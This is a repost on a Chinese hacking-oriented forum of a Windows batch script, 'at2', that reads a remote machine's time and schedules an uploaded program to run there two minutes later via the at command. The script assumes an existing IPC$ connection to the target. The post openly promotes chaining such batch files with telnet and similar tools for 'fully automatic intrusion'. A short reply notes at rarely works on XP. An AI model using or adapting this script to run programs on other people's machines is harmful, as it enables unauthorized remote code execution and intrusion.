返回列表 发帖

[转帖]简化at执行远端程序的一个批处理

简化at执行远端程序的一个批处理

每次用at命令执行远端程序时总是要先查时间,再确定执行程序时间,麻烦而且很容易出错,于是写了这个批处理方便大家。
其实批处理可以实现很多自动化的过程,多多利用可以省去我们很多时间。有兴趣的可以研究下这类批处理,比如和call命令,srv,telnet(port)...联系起来可以实现全自动入侵:)
at2(at to...)中用到了铁血处理时间的一段语句,特地说明一下。另win2000 Resource kit中也有个类似工具soon,不过执行时间更可缩短到n秒内,at2默认是2分钟执行。
以下是at2,复制到文本保存为at2.bat即可,用法:at2 ip file。
@echo off
color 1e
cls
if {%1}=={} goto :usage
if {%2}=={} goto :usage
echo 正在查询%1的当前时间
echo.     
net time \\%1 /set /y & IF errorlevel 1 goto :error1     
for /f "tokens=1,2 delims=:"  %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j   
set /a mm=%mm%+2
if /i %mm% geq 60 set /a mm=%mm%-60 & set /a hh=%hh%+1     
if /i %hh% geq 24 set /a hh=0     
set tm=%hh%:%mm%
echo.     
at \\%1 %tm% %2 & IF errorlevel 1 goto :error2
echo 命令成功完成,2分钟后远端程序将执行。
goto :end
:error1
echo 出现错误,请确认已和对方建立IPC$连接。
goto :usage
:error2
echo 出现非预期错误:)
:usage
echo *************************************************
echo *                   at2 v0.11                   *
echo *用于自动执行at的命令,不用再先查时间这么麻烦了。*
echo *执行命令如果成功2分钟后上传程序就会运行。      *
echo *usage:at2 ip file                              *
echo *                              by: 1e0n         *
echo *                              03.10.15         *
echo *************************************************
:end
---

[转帖]简化at执行远端程序的一个批处理

xp下at命令很少成功过啊

TOP

返回列表 回复 发帖